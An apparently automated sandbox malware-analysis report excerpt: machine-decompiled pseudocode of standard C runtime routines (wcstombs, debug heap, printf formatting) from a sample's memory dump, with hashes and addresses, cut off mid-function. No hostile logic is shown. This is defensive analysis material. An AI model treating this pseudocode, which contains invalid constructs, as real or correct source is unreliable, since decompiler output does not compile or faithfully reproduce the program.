0x00000000
0x0043c58c
0x0043c57e
0x0043c4bb
0x0043c4bb
0x0043c4c2
0x00000000
0x00000000
0x00000000
0x0043c4f0
0x0043c4f0
0x0043c4f6
0x0043c4fc
0x0043c502
0x00000000
0x0043c502
0x0043c3d2
0x0043c383

APIs

_get_int64_arg.LIBCMTD ref: 0043C3E0
__aullrem.LIBCMT ref: 0043C5B0
__aulldiv.LIBCMT ref: 0043C5D2

Strings

', xrefs: 0043C379
9, xrefs: 0043C5E3

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: ff35c2b925f7d95f79ba8303ac849b0e0ea1162595c4c654ad21854de423c35e
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: EA4138B1E101299FDB24CF48C881BAEB7B5FF89314F10519AD148BB241C738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004376B3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004376B3(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B4C0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E330();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437120(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B4C0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E330();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422E20(_t104))) = 0x22;
							E00422BB0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B4C0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422E20(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422E20(0x7fffffff))) = 0x16;
				E00422BB0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x004376b3
0x004376b3
0x004376b3
0x004376b6
0x004376bd
0x004376d4
0x004376da
0x004376ea
0x004376ea
0x004376ed
0x004376dc
0x004376dc
0x004376e2
0x004376e2
0x00437700
0x00437705
0x00437705
0x0043770c
0x0043770e
0x00437711
0x00437711
0x0043771d
0x00437727
0x0043772a
0x0043771f
0x00437722
0x00437722
0x00437730
0x0043773b
0x0043773d
0x00437740
0x00437743
0x00437745
0x0043774a
0x0043774c
0x00437751
0x00437756
0x00437758
0x0043775d
0x00437763
0x00437765
0x00437765
0x00437763
0x0043776a
0x004377ab
0x004377af
0x004377b4
0x004377b7
0x004377ba
0x004377be
0x0043782a
0x0043782d
0x00437830
0x00437834
0x00437921
0x00437921
0x00437925
0x0043792d
0x0043792d
0x0043792f
0x00000000
0x0043792f
0x0043783d
0x00437840
0x00437917
0x0043791a
0x0043791a
0x0043791d
0x00000000
0x0043791d
0x00437846
0x0043784a
0x0043790a
0x0043790d
0x00437910
0x00000000
0x00437910
0x00437853
0x00437856
0x0043785a
0x0043785c
0x00437863
0x00437865
0x00437869
0x00437871
0x00437877
0x00437886
0x00437886
0x00437889
0x00437879
0x00437879
0x0043787e
0x0043787e
0x0043788c
0x00437898
0x0043789c
0x004378a1
0x004378a1
0x00437869
0x00437863
0x004378a4
0x004378a7
0x004378aa
0x004378ae
0x004378b1
0x004378b3
0x004378b8
0x004378ba
0x004378bf
0x004378c4
0x004378c6
0x004378cb
0x004378ce
0x004378d1
0x004378d3
0x004378d3
0x004378d1
0x004378d4
0x004378d8
0x00000000
0x004378da
0x004378df
0x004378fb
0x00437903
0x00000000
0x00437903
0x004377c0
0x004377c0
0x004377c4
0x004377c9
0x004377cc
0x004377d0
0x004377d2
0x004377d9
0x004377db
0x004377df
0x004377e7
0x004377ed
0x004377fd
0x004377fd
0x00437800
0x004377ef
0x004377ef
0x004377f5
0x004377f5
0x0043780f
0x0043780f
0x00437813
0x00437818
0x004377df
0x004377d9
0x004377d0
0x00437820
0x00437932
0x00437935
0x00437935
0x004377be
0x00437771
0x0043778d
0x00437795
0x00000000

APIs

_memset.LIBCMT ref: 00437700
__invalid_parameter.LIBCMTD ref: 0043778D

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437751, 0043777E
bufferSize <= INT_MAX, xrefs: 00437745, 00437788
_wcstombs_s_l, xrefs: 00437783

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction ID: 661ef0b167fc291b305cb6f0bdf4e3f8d160cf60b15502e7b6f547b8748a698e
Opcode Fuzzy Hash: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction Fuzzy Hash: CC21B0B0A04349DBDB34CF58CD41BAE77A0BB08314F20526EE8A52A3C0D779AA51CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C903, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA0D
__free_base.LIBCMTD ref: 0041CA19

Strings

t!hD&@, xrefs: 0041C919
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C927
pHead->nBlockUse == nBlockUse, xrefs: 0041C91B

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse$t!hD&@
API String ID: 2669475236-3516989280
Opcode ID: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction ID: 0ec0365cdd0e2e9de4c285215d5f6350bc917e82cfad09b3ff97e72e406d065e
Opcode Fuzzy Hash: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction Fuzzy Hash: 722151B4A40104EFCB04CF54DA95AAA77B2BB85308F34C199E4051B396C779EE42DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0043C366, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C366(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CAA0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CAE0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CAA0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CAE0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AE00(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AE00(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B540(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CA40( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CAA0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C4F0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C934))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CA40( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
